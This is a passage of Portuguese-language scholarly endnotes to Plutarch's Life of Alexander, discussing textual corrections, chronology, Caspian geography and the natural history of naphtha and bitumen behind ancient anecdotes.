CAP. LXIV.. Eu respeito muito as razões pelas quais o sábio Dusoul pretende que Pailo não £e encontre entre os ven­cedores olímpicos. Se êle se tivesse lembrado da quinta cena do primeiro ato dos Acarnianos de Aristófanes, lá teria encontrado precisamente o Failo de que aqui se trata: nas glossas, há um epi­grama que nos diz que êle saltava cinquenta e cinco pés e lançava o disco a noventa e cinco. O Escoliaste diz que ête havia con­quistado a vitória nos jogos Olímpicos e Suidas está de acordo com êle. É verdade que Pausânias atribuindo-lhe três vitórias nos jogos Píticos, acrescenta que êle não as havia conquistado nos jogos Olímpicos. Mas êle o concluía, talvez segundo Heródoto, que lhe atribui, com efeito, três vitórias nos jogos Píticos. Ora, Heródoto leu sua história nos jogos Olímpicos, na octegésima-primeira olimpíada e a vitória de Failo pode bem ter sido posterior. O Escoliaste de Aris­tófanes cita ainda um outro Pailo, coroado nos jogos Olímpicos, na oitava olimpíada.

CAP. LXV. A terra nos fornece, bem como os vegetais, matérias inflamáveis. Tais são os diferentes carvões minerais, o azeviche, o âmbar, o asfalto ou betume da Judeia, o pissasíalto e todos os betumes sólidos e líquidos: também as naftas claras e co­loridas que se encontram nas quatro partes do mundo, no seio da tsrra. na areia, muitas vezes escorrendo dos rochedos e principal­mente nas vizinhanças dos vulcões, flutuando na superfície de alguns lagos, de fontes e do mar. 490 .Todas estas ma lerias têm grande relação entre si. e assim podemos considerar as primeiras como sendo a origem das segundas. Todos conhecem o carvão de pedra e o azeviche. O âmbar é uma resina vegetal pura. que as antigas revoluções da terra fizeram aprofundar-se nas entranhas dela mesma. Devemos notar que a analogia da árvore que produziu o âmbar, nos é desconhecida, pode ser mesmo que não exista mais; parece ter grande relação com a árvore que produz a goma copal; que esta árvore deve ser originária dos países meridionais e que viveu outrora num clima totalmente oposto àquele onde se encontra hoje o solo da Pomerânia e da Prússia ducal, sob os quais está sepultada.O betume, mais conhecido antigamente é o asfalto ou betume da Judeia; era tirado do lago Asfaltite ou de Sodoma. Havia dele fontes abundantes nas cercanias de Babilónia. Tinha-se tomado objeto de grande comércio, o Egito principalmente fazia dele o material mais importante para seus embalsamamentos. O petróleo que é um betume fluido e menos grosseiro, encontra-se por toda a parte; a nafta é mais rara; todavia pode ser encontrada em Módena e mais abundantemente ainda na superfície do mar nas vizinhanças do Vesúvio, durante as erupções desse vulcão.A nafta é um betume ou óleo muito fluido. Pode ser mais ou menos colorido, como alguns que têm a leveza, a brancura e a limpidez do espírito de vinho; assim era a nafta de Babilónia e de Ecbátana, tal é ainda a nafta de que fala Kempfer, como testemunha ocular.
*Há na península.do mar Cáspio, que se chama Okesva, diz-nas êle. uma pequena planície rodeada de montanhas, a que chamam em linguagem do país o Campo de fogo "CAMPUS ARDENS-"; porque, com efeito, dele saem chamas pelas fendas da terra; esse fogo embora invisível de dia, não se manifesta menos, quando se lhe apresentam matérias leves, ténues e muito combustíveis, como o algodão. Encontramos no mesmo campo, betume negro, que corre em vários lugares, quer do seio da terra, quer dos rochedos; enfim, êle fala de um pequeno lago de água salgada, no qual há muito pouca água. À margem ocidental do lago, havia no seu tempo, dois poços, a pouca distância um do outro, nos quais se ajunta por dis-tilação uma nafta muito branca e muito límpida. .”Este óleo, acres­centa Kempfer, exala um vapor tão sutil que é suficiente aproxi­mar-se a chama de uma lâmpada para que se inflame".
491.

E fora de dúvida que um óleo dessa espécie, já bastante atenuado e volatilizado pelo calor que lhe comunica uma terra incandescente, reduz-se em parte a vapor, desde que venha a ter uma corrente de ar. Pode-se, a este respeito, compará-la ao espírito de vinho. 9 melhor ainda, ao espírito de terebentina. um pouco aquecido. Como esses líquidos têm sempre uma atmosfera de vapor, esta inflama-se, e o fogo comunica-se imediatamente ao líquido; êle se queima então, sobre algum corpo, ao qual adere; assim quando se molha um corpo qualquer no espírito de vinho e dele se aproxima uma chama, o espírito de vinho acende-se e consuma-se no momento. É assim que as crianças fazem com os ratos e os camundongos, quando os apa­nham; molham-nos em espírito de terebentina e põem fogo. Quando Plutarco então nos refere que se iluminou em Babilónia a rua pela qual Alexandre devia passar para ir ao palácio, queimando de am­bos os lados a nafta, e que num instante o fogo que lhe foi dado comunicou-se de uma ponta à outra, êle diz uma coisa muito sim­ples e muito possível.Há ainda a brincadeira de mau gosto que Antenófanes fèz a Estêvão, na presença de Alexandre: a nafta com a qual esfregou o pagem era certamente muito fluida e volátil; isso se passou num lugar quente, na banheira em que o príncipe se banhava: a simples aproximação de uma chama pôs-lhe fogo e o infeliz jovem ficou queimado e quase sufocado. Uma prova de que a nafta era muito seca e volátil é que puderam apagá-la, o que não se teria podido con­seguir se ela tivesse mais consistência e resistência.Por mais volátil? leve que seja a nafta, não pode se inflamar senão pela aproximação de outra matéria já inflamada e jamais ao simples contacto do ar, nem pelos raios do sol, por mais quentes que sejam. Até agora só se conhecem o fósforo e os piróforos. que se inflamam ao contacto do ar, mas o tempo, o lugar, o caráter do líquido e as circunstancias, tudo mostra evidentemente que era a nafta de que Antenófanes se havia servido e não do fósforo, absolutamente, quando mesmo nós o supuséssemos conhecido dos antigos.Devemos observar que só se encontram petróleo e nafta nas vi­zinhanças dos terrenos, ou nos terrenos mesmos que se inflamam, ou que outrora foram queimados; em toda a parte onde encontra­mos a nafta pura. volátil e muito inflamável, pode-se ter certeza de que o fogo está debaixo da terra de onde ela promana; pois êle perde sua leveza e sua volatilidade com o tempo, pelo frio, envelhecendo. É produzido por incandescência subterrânea e pela combustão do betume e do carvão natural, aos quais a nafta deve sua origem.Esta observação é do meu ilustre confrade Mr. Darcet.

CAP. LXXVIII.Não seria muito de se admirar que antes de Alexandre tivesse havido escritores menos instruídos a este respeito. Houve depois vários, mesmo entre os mais sábios geógrafos, como Estrabão, Pompònio. Mela e outros. Mas antes de Alexandre, Heródoto tinha dito, 1. I, pág. 96, que esse mar não tinha comu­nicação com o Oceano. No tempo mesmo de Alexandre, Aristóteles tinha escrito e provado no capítulo primeiro do segundo livro do seu tratado dos meteoros. Foram eles seguidos com razão por Arrieno e Diodoro da Sicília. As observações dos modernos viajantes confirmaram-no.

CAP. LXXXII.. Há aqui no texto um erro grave. Amyot não lhe podendo dar remédio, preferiu pular as palavras que êle não entendia. Os sábios editores do Plutarco no lugar dessas palavras én tini króno, sem sentido, acharam num manuscrito én Kortánou, e persuadidos, com Mr. Dacier, de que nada se podia concluir, eles substituíram por én Kortakánois, .sem se importar se era assim que se devia escrever o nome dessa cidade, ou ártákava ou ártíkene. Eles todos tinham esquecido de que falando dessa entrevista de Alexandre com Roxana, Quinto Cúrcio, disse, 1. VIII, qus aquilo aconteceu no palácio de um rico sátrapa do país, cha­mado Cohortano; o que é evidentemente a palavra do manuscrito e a verdadeira palavra que aqui devemos colocar, como o erudito Wesselingue o nota em suas Observações sobre Diodoro da Sicília, 1. XVIII, cap. III, pág. 259

.CAP. LXXXIX.Las que les maeurs de Grece se eor-rompent. Não se pode compreender a malignidade dessa citação, sem conhecer-se o resto da passagem, que era então conhecida de toda a Grécia, pois as tragédias de Eurípides estavam em todas as bocas: eis aqui o trecho inteiro: "Havia-se estabelecido um muito mau costume na Grécia; quando um exército era vitorioso, por que o chefe recebe a glória, e se esquecem os instrumentos dos seus triunfos? Confundido entre os outros guerreiros, que tem êle mais que os outros, para que dele se fale mais? No entretanto os chefes orgulhosos dão ordens nos conselhos, desprezam seus concidadãos, embora eles mesmos sejam desprezíveis, rodeados por homens su- 493 periores em mérito, aos quais só falta querer e ousar". Théâtre des Grccs, Paris. CUSSAC, 1786. t. VI, pág. 472. Andromaque de Eu-rípides, v. 694, e seguintes, c.

CAP. CIII.. Ayant ordonné ã ceulx qui estoyent à Ia droitte d’en faire autant de leur cos té. Eu corrigi a tradução dessa passagem, segundo a conjetura de Blancard, fundada em Diodoro da Sicília e sobre Ameno: De Exped. Alex. 1. V, pág. 215, edit. de J. Gronovius .Sege ainda na passagem seguinte a correção de Moysés Dusoul, que propõe se leia: éoten dé ten makén anamemigménen eínai, a batalha tendo começado de manhã.

CAP. CIV.. Et ayant aussi subjugue Ies peuples íranes,etc. Toda essa passagem está mutilada: é muito difícil restaurá-la; mas podemos suprir-lhe as deficiências, por meio de Ameno: leia-se então: "Mas também acrescentou-lhe muito do país, assim como os povos francos e livres dos quais havia até quinze nações, que habi­tavam em trinta e sete cidades, das quais a menor tinha cinco mil habitantes, e várias tinham mais de dez mil, sem um número in­finito de aldeias. Èle tomou ainda um país três vezes tão grande, do qual fêz sátrapa a um de seus familiares que se chamava Felipe". Veja-se ARRIENO, De Expedit. Alex. 1. V. pág. 221, edit. de Gro­novius. C.

CAP. CXI.. Há sem dúvida aqui algum erro no texto, e é suficiente estarmos avisado disso, sem ser necessário corrigi-lo. porque não temos subsídios. No fim do Cap. CIX, Plutarco fêz Alexandre entrar na Gedrosia, de lá atravessar a Carmània durante sete dias e ao sair da Carmània, eis-nos na Gedrosia: esta marcha não é fácil de se conceber.

CAP. CXIII.. Isso pode não ser absolutamente con­traditório, entre Ameno*e Quinto Cúrcio. O nome que aí se lê. em Arrieno é Orxines e em Quinto Cúrcio Orsinés; era, diz Quinto Cúrcio um sátrapa poderosamente rico e do sangue de Ciro. Quanto à acu­sação, segundo Quinto Cúrcio. era pura calúnia do eunuco Bagoas, que subornou testemunhas, para se vingar do desprezo que o sátrapa tinha demonstrado por êle. Pode ser que então depois de sua morte se tenha reconhecido Polímaco, do qual se fala aqui, como verdadeiro culpado c que Alexandre o tenha condenado à morte, como diz Plutarco. 494

CAP. CXXII.. Plutarco vai dizer um pouco mais adiante, 28; como é difícil se suspeitar de um erro na última data, é verossímil que aqui se deve ler 28 para se pôr o escritor de acordo com êle mesmo. De resto, há divergência entre os sábios sobre a verdadeira época, não do ano, mas do mês da morte de Alexandre. Padre Pétau que adotou o mês hécatombeon, para salvar-se desta passagem de Plutarco, supõe que o mês daésius variou de posição entre os macedônios. correspondendo, num tempo ao mês de thar-gélion e noutro, ao mês hécatombeon dos áticos. Padre Corsini fá-lo concorrer de uma maneira fixa, com o mês thargélion, e foi o seu sistema que seguimos na comparação que demos dos meses mace­dônios com es áticos e romanos.

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